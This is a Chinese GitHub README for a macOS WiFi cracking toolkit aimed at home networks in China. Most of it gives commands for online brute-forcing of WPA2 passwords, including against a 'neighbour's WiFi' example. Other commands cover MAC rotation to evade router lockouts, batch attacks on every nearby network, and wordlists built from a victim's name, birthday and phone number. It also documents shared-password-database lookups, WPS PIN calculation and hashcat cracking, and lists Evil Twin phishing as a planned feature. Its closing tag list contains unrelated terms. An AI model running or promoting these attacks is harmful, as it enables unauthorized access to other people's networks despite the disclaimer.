1837620622/wifi-security-toolkit

GitHub: 1837620622/wifi-security-toolkit

专为macOS Apple Silicon打造的WiFi安全测试套件,集成智能密码生成、在线/离线破解、自动化攻击流水线,针对中国家庭WiFi密码特征深度优化。

Stars: 0 | Forks: 0

# WiFi 安全测试工具包 v4.0 基于 macOS Apple Silicon (M1/M2/M3/M4) 的家庭 WiFi 安全测试套件。纯内置网卡,无需外置设备。融合在线开源字典 + 本地智能生成,自动识别家庭 WiFi 与企业/校园网络。 **v4.0 新特性**:Markov链智能密码排序 | PCFG概率结构生成 | 自动化多轮破解流水线 | 规则/混合/Brain模式hashcat | MAC自动轮换 | 智能自适应延迟 | 密码强度预估+攻击策略推荐 ## 法律声明 **本工具仅限对自己拥有或已获得书面授权的网络进行安全测试。** 未经授权访问他人网络违反《中华人民共和国网络安全法》第二十七条,可处五日以下拘留并处罚款。使用本工具所产生的一切法律后果由使用者自行承担,作者不承担任何责任。 ## 功能模块 | 模块 | 文件 | 功能 | 语言 | | --- | --- | --- | --- | | 主控制台 | main.py | 菜单驱动统一入口(v4.0 集成全部新功能) | Python | | WiFi 扫描器 | wifi_scanner.py | CoreWLAN 扫描 + **密码强度预估 + 攻击策略推荐** | Python | | Go 扫描器 | wifi-scanner | system_profiler 高速扫描,编译为单一二进制 | Go | | 字典下载器 | download_dicts.py | 从 GitHub 下载 6 个高频密码字典(SecLists/中国Top10万) | Python | | 字典生成器 | wordlist_gen.py | 融合在线字典 + 手机号/生日/拼音/键盘 + **PCFG概率结构生成** | Python | | 在线破解器 | wifi_cracker.py | networksetup 破解 + **MAC自动轮换 + 智能自适应延迟** | Python | | Hashcat 辅助 | hashcat_helper.py | hashcat 离线破解 + **规则攻击/混合攻击/Brain模式/中国特化规则** | Python | | **智能排序器** | password_ranker.py | **Markov链 + PCFG + 中国密码特征的智能密码概率排序(v4.0新增)** | Python | | **自动破解流水线** | auto_crack.py | **多轮智能攻击:品牌识别→策略选择→MAC轮换→自动攻击(v4.0新增)** | Python | | **批量破解器** | batch_crack.py | **自动扫描全部家庭WiFi→逐个攻击→密码统一保存(v4.0新增)** | Python | | **闪电破解器** | lightning_crack.py | **默认密码计算器+零延迟扫射,每目标5-10秒(v4.0新增)** | Python | | **密码数据库查询** | wifi_db_query.py | **WiFi万能钥匙共享库查询+WPS PIN计算器(v4.0新增)** | Python | | 网络分析器 | network_analyzer.py | 网关探测/局域网设备扫描/测速/路由器识别 | Python | | 社工字典 | smart_dict.py | 根据目标个人信息(姓名/生日/手机号)生成定向字典 | Python | | MAC 伪装 | mac_spoof.py | 随机化/恢复 MAC 地址,规避 AP 封禁 | Python | | 位置权限修复 | fix_location.py | 解决 macOS 13+ SSID 被隐藏的权限问题 | Python | ## 环境要求 | 项目 | 要求 | 备注 | | --- | --- | --- | | 系统 | macOS 13+ (Ventura / Sonoma / Sequoia / Tahoe) | Apple Silicon 或 Intel 均可 | | Python | 3.10+ | 推荐 3.12 | | Go | 1.20+ | 仅编译 Go 扫描器时需要,可选 | | hashcat | 7.0+ | 离线破解需要,brew install hashcat | | hcxtools | 6.0+ | 握手包格式转换,brew install hcxtools | ## Mac 部署步骤(一键) # 1. 进入项目目录 cd ~/Downloads/Wi-Fi破解 # 2. 安装 Python 依赖 pip3 install -r requirements.txt # 3. 安装系统工具(推荐) brew install hashcat hcxtools # 4. 修复位置权限(获取 SSID 名称,首次必做) python3 scripts/fix_location.py # 5. 下载在线密码字典 python3 scripts/download_dicts.py # 6. 生成智能密码字典(62.6万条) python3 scripts/wordlist_gen.py # 7. 编译 Go 扫描器(可选) cd go_tools/scanner && go build -o ../../wifi-scanner . && cd ../.. # 8. 启动主控制台 python3 scripts/main.py ## Windows 部署步骤 :: 1. 安装 Python 3.10+ (python.org) :: 2. 安装依赖 pip install scapy pywifi rich :: 3. 下载字典 python scripts/download_dicts.py :: 4. 生成字典 python scripts/wordlist_gen.py :: 注意:Windows 不支持 CoreWLAN,扫描使用 netsh 命令 :: WiFi 连接尝试使用 netsh wlan connect 替代 networksetup :: 推荐使用 Hashcat 离线破解模式 ## 完整命令参考 ### 主控制台(推荐入口) python3 scripts/main.py 菜单选项:扫描 → 下载字典 → 生成字典 → 破解 → Hashcat → 网络分析 → 查看记录 ### WiFi 扫描 # 单次扫描(仅显示家庭WiFi,自动隐藏企业/校园网络) python3 scripts/wifi_scanner.py # 显示全部网络(含企业/开放) python3 scripts/wifi_scanner.py -a # 持续扫描(每3秒刷新,实时监控周围网络变化) python3 scripts/wifi_scanner.py -c -i 3 # 保存扫描结果为 JSON python3 scripts/wifi_scanner.py -s python3 scripts/wifi_scanner.py -s -o my_scan.json # JSON 格式输出(供其他程序读取) python3 scripts/wifi_scanner.py --json # v4.0: 密码强度预估 + 攻击策略推荐 python3 scripts/wifi_scanner.py --strength # Go 高速扫描器 ./wifi-scanner ./wifi-scanner --json ### 密码字典下载 # 下载全部6个在线字典(SecLists + 中国Top10万 + 弱密码) python3 scripts/download_dicts.py 下载源: | 字典 | 条数 | 来源 | | --- | --- | --- | | SecLists WPA Top4800 | 4,800 | danielmiessler/SecLists | | SecLists WPA Top447 | 447 | danielmiessler/SecLists | | 中国常用密码 Top10000 | 5,067 | NihaoKangkang/Chinese-Common-Password-List | | 中国常用密码 Top1000 | 541 | NihaoKangkang/Chinese-Common-Password-List | | 中国常用密码 Top100000 | 44,082 | NihaoKangkang/Chinese-Common-Password-List | | 中国弱密码 Top1000 | 552 | LandGrey/pydictor | ### 密码字典生成 # 完整生成(含8种模式:7种基础 + PCFG概率结构) python3 scripts/wordlist_gen.py # 快速模式(仅高频密码,约9700条,适合先快速尝试) python3 scripts/wordlist_gen.py --quick # 指定手机号前缀(缩小范围,如只生成138/139开头的手机号密码) python3 scripts/wordlist_gen.py --phone-prefix 138 139 188 # 指定生日范围(如目标户主是80后/90后) python3 scripts/wordlist_gen.py --year-start 1980 --year-end 1999 # 自定义输出路径 python3 scripts/wordlist_gen.py -o wordlists/custom.txt # 自定义密码长度(默认8-20,WiFi最少8位) python3 scripts/wordlist_gen.py --min-len 8 --max-len 12 生成的密码类型(按命中概率排序): | 优先级 | 类型 | 示例 | 说明 | | --- | --- | --- | --- | | 1 | 核心高频 | 12345678, woaini520 | 113条手工精选,命中率最高 | | 2 | 在线字典 | 来自真实泄露数据统计 | SecLists + 中国Top10000 | | 3 | 纯数字 | 88888888, 13572468 | 重复/顺序/吉利数字 | | 4 | 手机号码 | 138XXXX0000 | 41个前缀 × 高频尾号 | | 5 | 生日日期 | 19901225, 12251990 | YYYYMMDD / MMDDYYYY | | 6 | 拼音组合 | woaini123, wang1234 | 常见词汇 + 数字后缀 | | 7 | 键盘模式 | qwerty123, 1qaz2wsx | 键盘布局行走模式 | | 8 | PCFG结构 | love1234, wang5200 | v4.0 概率上下文无关文法生成(L4D4/L5D3等高频结构) | ### WiFi 密码破解 # 指定目标 + 完整字典(推荐) python3 scripts/wifi_cracker.py -t "邻居WiFi名" -w wordlists/wifi_dict_final.txt # 先用快速字典试(9700条,约40分钟) python3 scripts/wifi_cracker.py -t "TP-LINK_5G_XXXX" -w wordlists/online/chinese_top10000.txt # 调整尝试间隔(默认0.5秒,降低可能被AP拉黑) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt -d 1.0 # 快速模式(无间隔,速度最快约4次/秒,但可能被拒绝) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt -d 0 # 不使用断点续传(从头开始) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt --no-resume # 交互模式(从Mac已保存WiFi列表中选择目标) python3 scripts/wifi_cracker.py -w wordlists/wifi_dict_final.txt # v4.0: 启用MAC自动轮换(每100次失败后更换MAC,规避AP封禁) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt --mac-rotate 100 # v4.0: 启用智能自适应延迟(自动检测AP限速/封禁并调整) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt --adaptive # v4.0: 组合使用(推荐:MAC轮换 + 自适应延迟 + 断点续传) python3 scripts/wifi_cracker.py -t "TARGET" -w wordlists/wifi_dict_final.txt --mac-rotate 100 --adaptive 破解器特性: - **断点续传**:Ctrl+C 中断后自动保存进度,下次运行从断点继续 - **智能目标选择**:从 Mac 已保存 WiFi 列表中筛选家庭网络,自动排除企业/校园WiFi - **实时进度**:显示百分比、速度、预计剩余时间 - **成功记录**:破解成功自动保存到 captures/cracked.json - **MAC自动轮换(v4.0)**:每N次失败后自动更换MAC地址,规避AP封禁 - **智能自适应延迟(v4.0)**:根据AP响应时间动态调整延迟,检测到封禁自动触发MAC轮换 - **定期保存进度(v4.0)**:每500次自动保存,防止意外断电丢失进度 ### Hashcat 离线破解 # 检查环境(hashcat + hcxtools 是否已安装) python3 scripts/hashcat_helper.py check # 转换握手包格式(.cap/.pcap → .hc22000) python3 scripts/hashcat_helper.py convert captures/handshake.cap # 字典攻击(使用生成的字典) python3 scripts/hashcat_helper.py crack captures/target.hc22000 -w wordlists/wifi_dict_final.txt # 列出可用字典 python3 scripts/hashcat_helper.py crack captures/target.hc22000 --list-wordlists # 纯数字掩码暴力攻击(8-12位,M1约8分钟破完8位) python3 scripts/hashcat_helper.py mask captures/target.hc22000 python3 scripts/hashcat_helper.py mask captures/target.hc22000 --min 8 --max 11 # v4.0: 规则攻击(字典 + 变异规则,大幅扩展覆盖率) python3 scripts/hashcat_helper.py rule captures/target.hc22000 -w wordlists/wifi_dict_final.txt python3 scripts/hashcat_helper.py rule captures/target.hc22000 -w wordlists/wifi_dict_final.txt -r rules/chinese.rule # v4.0: 混合攻击(字典 + 掩码组合,如密码后追加4位数字) python3 scripts/hashcat_helper.py hybrid captures/target.hc22000 -w wordlists/wifi_dict_final.txt python3 scripts/hashcat_helper.py hybrid captures/target.hc22000 -w wordlists/wifi_dict_final.txt -m "?d?d?d" # v4.0: 智能攻击(自动推荐最优策略,支持指定路由器品牌) python3 scripts/hashcat_helper.py smart captures/target.hc22000 python3 scripts/hashcat_helper.py smart captures/target.hc22000 --brand tp-link # v4.0: 生成中国密码特化规则文件 python3 scripts/hashcat_helper.py gen-rules # 直接调用 hashcat(高级用户) hashcat -m 22000 -a 0 captures/target.hc22000 wordlists/wifi_dict_final.txt hashcat -m 22000 -a 3 captures/target.hc22000 ?d?d?d?d?d?d?d?d # 8位数字 hashcat -m 22000 -a 0 -r rules/chinese.rule \ captures/target.hc22000 wordlists/wifi_dict_final.txt # 中国特化规则变异 ### 网络分析(连接成功后使用) # 完整分析(网关/设备/测速/路由器识别) python3 scripts/network_analyzer.py # 仅测速 python3 scripts/network_analyzer.py --speed-only # 仅扫描局域网设备 python3 scripts/network_analyzer.py --devices-only ### 社工字典生成(目标定向破解) # 交互式输入目标信息(姓名/生日/手机号/QQ等) python3 scripts/smart_dict.py # 命令行直接指定(自动化) python3 scripts/smart_dict.py --name zhangsan --birthday 19901225 --phone 13812345678 # 根据目标 SSID 推测路由器品牌并加入默认密码模式 python3 scripts/smart_dict.py --name liming --ssid "TP-LINK_5G_A1B2" # 指定输出路径 python3 scripts/smart_dict.py -o wordlists/target_liming.txt 原理:中国用户常用「姓名拼音 + 生日 + 手机号」的组合作为密码。输入目标信息后自动生成数百到数千条高针对性密码。 ### MAC 地址伪装(规避 AP 封禁) # 查看当前 MAC 地址 python3 scripts/mac_spoof.py # 随机化 MAC 地址(自动关闭WiFi→改MAC→重新开启) sudo python3 scripts/mac_spoof.py -r # 恢复原始 MAC 地址 sudo python3 scripts/mac_spoof.py --restore # 设置指定 MAC 地址 sudo python3 scripts/mac_spoof.py --set AA:BB:CC:DD:EE:FF 用途:当路由器检测到多次失败连接并封禁 MAC 地址时,更换 MAC 后可继续尝试。 ### 智能密码排序(v4.0 新增) # 对字典进行Markov链概率排序(高概率密码排前面,缩短命中时间30-50%) python3 scripts/password_ranker.py wordlists/wifi_dict_final.txt # 指定输出路径(不覆盖原文件) python3 scripts/password_ranker.py wordlists/wifi_dict_final.txt -o wordlists/ranked.txt 排序原理: - **Markov链评分**:基于字符级n-gram统计,计算每个密码的字符转移概率 - **PCFG结构分析**:识别密码结构模式(如L4D4=4字母+4数字),匹配高频结构加分 - **中国密码特征增强**:对吉利数字(520/1314/888)、手机号前缀、生日模式等加权 ### 自动破解流水线(v4.0 新增) # 一键启动多轮智能攻击(万能钥匙预查 → 品牌识别 → 策略选择 → 执行攻击) python3 scripts/auto_crack.py -t "TARGET_SSID" # 指定BSSID启用万能钥匙预查(推荐) python3 scripts/auto_crack.py -t "TARGET_SSID" --bssid "AA:BB:CC:DD:EE:FF" --mac-rotate # 扫描选择目标(不指定SSID时进入交互选择) python3 scripts/auto_crack.py --mac-rotate 流水线攻击轮次: 0. **万能钥匙预查**(秒级)→ 查询共享密码库,命中则跳过爆破 1. **社工字典**(如有)→ 约2分钟 2. **快速高频字典** → 约40分钟 3. **Markov排序字典** → 自动对字典概率排序后攻击 4. **完整字典** → 覆盖全部密码模式 5. 每轮间自动MAC轮换,智能跳过已尝试密码 ### 批量WiFi破解(v4.0 新增) # 自动扫描周围所有家庭WiFi → 按难度+信号排序 → 逐个快速攻击 python3 scripts/batch_crack.py # 中等深度(含SecLists约5万条) python3 scripts/batch_crack.py --depth medium # 完整深度(含全部字典) python3 scripts/batch_crack.py --depth full # 手动指定多个目标SSID python3 scripts/batch_crack.py --targets "WiFi_A" "WiFi_B" "WiFi_C" # 每个字典限制最多5000条(快速扫一遍所有WiFi) python3 scripts/batch_crack.py --max-per-dict 5000 # 查看所有已破解的WiFi密码 python3 scripts/batch_crack.py --show-cracked # 清除进度重新开始 python3 scripts/batch_crack.py --reset 批量破解特性: - **万能钥匙预查**:爆破前自动查询共享密码库,命中则跳过爆破 - **自动扫描**:自动识别周围所有家庭WiFi,跳过企业/开放网络 - **智能排序**:按密码难度(低→高)+ 信号强度排序,优先攻击弱密码WiFi - **断点续传**:已破解/已耗尽的目标自动跳过 - **统一保存**:所有破解成功的密码保存到 `captures/cracked.json` ### 闪电破解(v4.0 新增) 不走字典爆破,用最聪明的方式秒级获取密码。每个目标仅5-10秒,比字典爆破快10倍以上。 # 全自动闪电破解(默认密码计算 + 零延迟扫射) python3 scripts/lightning_crack.py # 手动指定目标 python3 scripts/lightning_crack.py --targets "CMCC-532" "TP-LINK_FB0E" # 查看指定SSID的默认密码候选列表 python3 scripts/lightning_crack.py --show-default-pwds "TP-LINK_FB0E" 闪电破解三大模式: - **万能钥匙预查**:爆破前秒级查询共享密码库,命中则直接获取密码 - **默认密码计算器**:根据SSID品牌特征算出路由器默认密码(TP-Link/CMCC/Tenda/FAST/MERCURY等) - **零延迟扫射**:每个目标仅试5-20条最可能的密码,无等待间隔 ### 密码数据库查询(v4.0 新增) 不用爆破,直接从WiFi万能钥匙共享密码库查询已知密码。秒级查询,无需任何攻击行为。 # 自动扫描周围WiFi + 批量查询密码库 python3 scripts/wifi_db_query.py --scan # 查询指定WiFi的密码 python3 scripts/wifi_db_query.py --ssid "WiFi名" --bssid "AA:BB:CC:DD:EE:FF" # 根据MAC地址计算WPS PIN码 python3 scripts/wifi_db_query.py --wps-pin "AA:BB:CC:DD:EE:FF" 数据库查询特性: - **WiFi万能钥匙共享库**:查询约8亿装机量用户分享的WiFi密码 - **WPS PIN计算器**:根据MAC地址计算路由器WPS PIN码(多种算法) - **秒级查询**:纯HTTP请求,不需要任何攻击行为 ### 位置权限修复 # 自动请求权限(弹出系统授权对话框) python3 scripts/fix_location.py macOS 13+ 将 WiFi SSID/BSSID 视为位置数据。未授权时扫描结果中 SSID 显示为空。授权方法: 1. 运行 fix_location.py,在弹窗中点击"允许" 2. 或手动:系统设置 → 隐私与安全 → 位置服务 → 勾选终端/Python ### 查看已破解记录 # 通过主控台查看 python3 scripts/main.py # 选择 [7] 查看已破解的WiFi # 直接查看 JSON 文件 cat captures/cracked.json ## 技术原理 ### 方案一:在线破解(本工具核心方案) 通过 macOS 系统命令 `networksetup -setairportnetwork en0 "SSID" "密码"` 逐个尝试密码连接目标 WiFi。连接后通过 `networksetup -getairportnetwork en0` 验证是否成功。 [字典] → 逐条读取密码 → networksetup 尝试连接 → 检测连接状态 → 成功/继续 | 指标 | 数值 | | --- | --- | | 实测速度 | 约 3.9 次/秒(无延迟) | | 安全间隔 | 建议 0.5s(约 1.5 次/秒) | | 62.6万条字典耗时 | 约 45 小时(0.5s间隔)/ 约 11 小时(无间隔) | | 中国Top1万字典耗时 | 约 1 小时(0.5s间隔)/ 约 20 分钟(无间隔) | | 快速字典(9700条)| 约 40 分钟(0.5s间隔) | ### 方案二:Hashcat 离线破解(需要握手包) 如果通过其他渠道获得了目标 WiFi 的 WPA2 握手包(.cap 文件)或 PMKID,可使用 hashcat 进行 GPU 加速离线破解。 | 指标 | Apple M1 | | --- | --- | | hashcat WPA2 模式22000 | 约 300 kH/s | | hashcat PMKID 模式22001 | 约 245 MH/s | | 8位纯数字暴力破解 | 约 8 分钟(模式22000) | | 62.6万条字典 | 约 2 秒 | ### 家庭 WiFi 识别原理 通过 CoreWLAN API 读取每个网络的 securityType 进行分类: | securityType | 含义 | 分类 | 可破解 | | --- | --- | --- | --- | | 0 | 开放网络 | 开放 | 无需密码 | | 2, 8, 128 | WPA/WPA2-Personal | 家庭WiFi | 是(PSK密码) | | 32, 2048, 4224 | WPA3/Transition | 家庭WiFi | 是(PSK密码) | | 4, 16, 64 | WPA/WPA2/WPA3-Enterprise | 企业/校园 | 否(802.1X认证) | 家庭WiFi 使用预共享密钥(PSK),通过字典可以尝试破解。 企业WiFi 使用 802.1X/EAP 认证(如校园网 iXAUT-1X),需要用户名+密码+证书,无法通过字典破解。 ## 项目结构 Wi-Fi破解/ ├── README.md # 本文件 ├── requirements.txt # Python 依赖 ├── wifi-scanner # Go 扫描器二进制 (3.3MB) ├── .github/workflows/build.yml # GitHub Actions 自动打包 ├── scripts/ │ ├── main.py # 主控制台 v4.0(菜单入口) │ ├── wifi_scanner.py # WiFi 扫描器 v3.0(密码强度预估+攻击策略) │ ├── download_dicts.py # 在线字典下载器 │ ├── wordlist_gen.py # 智能字典生成器(含PCFG概率结构) │ ├── wifi_cracker.py # 在线破解器(MAC轮换+自适应延迟) │ ├── hashcat_helper.py # Hashcat 辅助(规则/混合/Brain/中国特化) │ ├── password_ranker.py # ★ v4.0 Markov链智能密码排序器 │ ├── auto_crack.py # ★ v4.0 自动化多轮破解流水线 │ ├── batch_crack.py # ★ v4.0 批量WiFi串行破解器 │ ├── lightning_crack.py # ★ v4.0 闪电破解器(默认密码+零延迟) │ ├── wifi_db_query.py # ★ v4.0 密码数据库查询(万能钥匙+WPS PIN) │ ├── network_analyzer.py # 网络分析器 │ ├── smart_dict.py # 社工字典生成器(CUPP风格) │ ├── mac_spoof.py # MAC 地址伪装 │ └── fix_location.py # 位置权限修复 ├── wordlists/ │ ├── wifi_dict_final.txt # 最终合并字典 (含PCFG结构密码) │ └── online/ # 在线下载的字典 │ ├── seclists_wpa_top4800.txt # 4,800条 │ ├── seclists_wpa_top447.txt # 447条 │ ├── chinese_top10000.txt # 5,067条 (≥8位过滤后) │ ├── chinese_top100000.txt # 44,082条 (≥8位过滤后) │ ├── chinese_top1000.txt # 541条 │ └── chinese_weak1000.txt # 552条 ├── rules/ # ★ v4.0 hashcat规则文件目录 │ └── chinese.rule # 中国密码特化规则(自动生成) ├── captures/ # 扫描结果/破解记录/握手包 │ ├── cracked.json # 已破解密码记录 │ ├── auto_progress.json # 自动破解流水线进度 │ └── batch_progress.json # 批量破解进度记录 ├── go_tools/scanner/ # Go 扫描器源码 └── docs/ # 文档 ## 推荐破解策略 ### 最优流程(按耗时排序) 第0轮:社工字典(数百条) → 约2分钟 → 基于目标个人信息,命中率最高 第1轮:快速字典(9,700条) → 约40分钟 → 覆盖最常见密码 第2轮:Markov排序字典 → 约5小时 → v4.0 高概率密码优先,命中速度提升30-50% 第3轮:完整字典(含PCFG) → 约45小时 → 覆盖手机号/生日/拼音/PCFG结构 第4轮:Hashcat离线(需握手包)→ 秒级 → GPU加速,字典+规则+混合+掩码 # 第0轮(如果了解目标人物信息) python3 scripts/smart_dict.py --name liming --birthday 19901225 --phone 13812345678 python3 scripts/wifi_cracker.py -t "目标" -w wordlists/smart_target.txt # 第1轮 python3 scripts/wifi_cracker.py -t "目标" -w wordlists/online/chinese_top10000.txt # 第2轮 python3 scripts/wifi_cracker.py -t "目标" -w wordlists/online/chinese_top100000.txt # 第3轮 python3 scripts/wifi_cracker.py -t "目标" -w wordlists/wifi_dict_final.txt # 第4轮(需要握手包文件) python3 scripts/hashcat_helper.py crack target.hc22000 -w wordlists/wifi_dict_final.txt ### 针对特定路由器 | 路由器品牌 | 默认SSID格式 | 默认密码特征 | 破解建议 | | --- | --- | --- | --- | | TP-Link | TP-LINK_XXXX | 8位纯数字(MAC后8位) | 掩码攻击 ?d?d?d?d?d?d?d?d | | 小米/Redmi | MiWiFi-XXXX | 用户首次设置 | 字典攻击 | | 华为/荣耀 | HUAWEI-XXXX | 8位随机字母数字 | 字典 + 规则变异 | | 腾达 | Tenda_XXXX | 8位纯数字 | 掩码攻击 | | 水星 | MERCURY_XXXX | 8位纯数字 | 掩码攻击 | | 迅捷 | FAST_XXXX | 8位纯数字 | 掩码攻击 | | 中国移动光猫 | CMCC-XXXX | 8位纯数字(MAC后8位) | 掩码攻击 | | 中国电信光猫 | ChinaNet-XXXX | 8位纯数字 | 掩码攻击 | ## 当前局限性 ### 1. macOS 内置网卡不支持监控模式 **影响**:无法进行以下操作 - 无法捕获 WPA2 四次握手包(需要 Deauth + 监控模式抓包) - 无法执行 PMKID 攻击(需要发送关联请求帧) - 无法执行 Deauth 去认证攻击(需要注入原始802.11帧) - 无法创建 Evil Twin 伪造热点 **根本原因**:Apple 从硬件驱动层面禁止了内置 WiFi 芯片进入 Monitor Mode,且 macOS 不提供原始 802.11 帧注入接口。 ### 2. 在线破解速度慢 **影响**:`networksetup` 命令每次连接尝试约需 0.26 秒,加上安全延迟后约 0.7 秒/次。62.6 万条字典需要约 45 小时。 **根本原因**:每次尝试都经历完整的 WiFi 关联流程(Probe → Auth → Association → 4-Way Handshake),而非像 hashcat 那样纯计算。 ### 3. macOS 26 SSID 隐私限制 **影响**:CoreWLAN 和 system_profiler 扫描到的网络 SSID/BSSID 全部显示为空或 ``,即使 sudo 也无法获取。 **根本原因**:macOS 13+ 将 WiFi 标识视为位置数据,需要应用获得位置服务授权。macOS 26 进一步加强了限制,sudo 也不再绕过。 **解决方法**:运行 `fix_location.py` 或手动在系统设置中授权终端的位置权限。 ### 4. AP 反暴力破解机制 **影响**:部分高端路由器检测到连续失败连接后会临时拉黑 MAC 地址(通常 5-30 分钟)。 **v4.0 缓解措施**: - MAC自动轮换(`--mac-rotate 100`):每100次失败自动更换MAC地址 - 智能自适应延迟(`--adaptive`):检测到响应变慢时自动增加延迟,检测到疑似封禁时触发MAC轮换 - 自动破解流水线(`auto_crack.py`):每轮攻击间自动MAC轮换 ### 5. WPA3-SAE 抗暴力破解 **影响**:WPA3 使用 SAE(Simultaneous Authentication of Equals)协议,天然抗离线字典攻击。即使获得握手数据也无法离线破解。 **现状**:目前中国家庭路由器大多仍使用 WPA2-Personal 或 WPA3-Transition 模式(兼容 WPA2 回退),纯 WPA3 尚未普及。 ### 6. 字典覆盖率有限 **影响**:62.6 万条字典无法覆盖所有可能的密码组合。理论上 8 位纯小写字母有 2000 亿种组合,8 位混合字符有 6.6 万亿种。 **实际命中率**:根据统计,中国家庭 WiFi 密码约 60-70% 为纯数字(8-11位),其中大量为手机号、生日、重复数字。本字典在纯数字场景覆盖率较高。 ## 优化路线图 ### 近期可实现(无需额外硬件) | 优化项 | 预期效果 | 实现方式 | 状态 | | --- | --- | --- | --- | | 多线程并发 | 速度提升2-3倍 | 同时用多个虚拟网卡接口尝试(受限于macOS单WiFi接口) | 待定 | | hashcat 规则变异 | 字典覆盖率大幅提升 | 规则攻击+混合攻击+Brain模式+中国特化规则 | **v4.0 已完成** | | 自定义字典模板 | 针对性提高 | 支持用户输入目标信息生成定向字典 | **v3.0 已完成** | | MAC 地址轮换 | 规避 AP 封禁 | 每 N 次尝试后自动随机化 MAC 地址 | **v4.0 已完成** | | 路由器品牌识别 | 预判默认密码模式 | 通过SSID+OUI识别厂商,密码强度预估+攻击策略推荐 | **v4.0 已完成** | | 社工字典生成 | 极高命中率 | 输入目标姓名/生日/手机号,自动组合生成高针对性字典 | **v3.0 已完成** | | Markov链密码排序 | 命中速度提升30-50% | 基于字符转移概率对字典重新排序 | **v4.0 已完成** | | PCFG概率结构生成 | 扩展字典覆盖率 | 基于概率上下文无关文法生成结构化密码 | **v4.0 已完成** | | 自动破解流水线 | 一键多轮攻击 | 自动执行多轮策略+MAC轮换+进度保存 | **v4.0 已完成** | | 智能自适应延迟 | 规避AP限速/封禁 | 根据AP响应时间动态调整延迟 | **v4.0 已完成** | ### 中期优化(需要额外硬件) | 优化项 | 预期效果 | 所需设备 | 预算 | | --- | --- | --- | --- | | 外置 USB WiFi 网卡 | 解锁监控模式、抓握手包、PMKID 攻击 | ALFA AWUS036ACHM | ¥200-300 | | Flipper Zero + WiFi Marauder | 自动捕获路由器握手包/PMKID | Flipper Zero + WiFi Dev Board | ¥1500 | | Pwnagotchi (树莓派) | 24小时自动巡航捕获握手包 | Raspberry Pi Zero 2W + ALFA网卡 | ¥400 | | 云端 GPU 破解 | hashcat 速度提升 10-100 倍 | AWS/阿里云 GPU 实例 | 按小时计费 | ### 长期方向 | 方向 | 说明 | | --- | --- | | PMKID 攻击集成 | 有了外置网卡后,直接从 AP 提取 PMKID,无需等待客户端连接 | | Evil Twin 钓鱼 | 创建同名伪造 AP → 受害者连接 → 弹出假登录页面获取密码 | | AI 密码预测 | 基于目标路由器品牌、SSID 命名模式训练模型预测密码 | | 分布式破解 | 多台机器协同跑不同字典段,线性加速 | | Android/iOS 联动 | 手机端 WiFi 扫描 + 握手包捕获,传回 Mac 离线破解 | ## 速度对比参考 | 方法 | 速度 | 62.6万字典耗时 | 8位纯数字穷举 | | --- | --- | --- | --- | | 本工具在线破解(networksetup) | 约 4 次/秒 | 约 45 小时 | 不可行(需 289 天) | | hashcat M1 (模式 22000) | 约 300k 次/秒 | 约 2 秒 | 约 8 分钟 | | hashcat RTX 4090 (模式 22000) | 约 2.5M 次/秒 | 约 0.3 秒 | 约 40 秒 | | hashcat M1 PMKID (模式 22001) | 约 245M 次/秒 | 瞬间 | 约 0.4 秒 | | 在线破解服务 | 变化大 | 变化大 | 变化大 | **结论**:在线破解适合配合小型高频字典(Top1万)快速尝试;大规模破解应优先获取握手包后使用 hashcat。 ## 数据源致谢 | 项目 | 链接 | 说明 | | --- | --- | --- | | SecLists | github.com/danielmiessler/SecLists | 全球最大安全测试资源集合 | | Chinese-Common-Password-List | github.com/NihaoKangkang/Chinese-Common-Password-List | 中国常用密码频率排行 | | pydictor | github.com/LandGrey/pydictor | 中国弱密码字典 | | MacWifiBruteForce | github.com/CaptainMcCrank/MacWifiBruteForce | macOS WiFi暴力破解参考 | | hashcat | hashcat.net | GPU 加速密码恢复工具 | | hcxtools | github.com/ZerBea/hcxtools | 握手包处理工具集 | ## 作者 微信: 1837620622(传康Kk) 邮箱: 2040168455@qq.com 咸鱼/B站: 万能程序员
标签:Apple Silicon, Bitdefender, DOS头擦除, Hashcat, M1/M2/M3/M4, MAC地址轮换, Markov链, PCFG, PE加载, PE 加载器, Python, WiFi安全测试, 中国WiFi字典, 在线破解, 字典优化, 家庭WiFi安全, 密码强度分析, 密码破解, 无后门, 无线攻击, 日志审计, 概率攻击, 离线破解, 网络安全, 网络安全法, 自动化流水线, 逆向工具, 隐私保护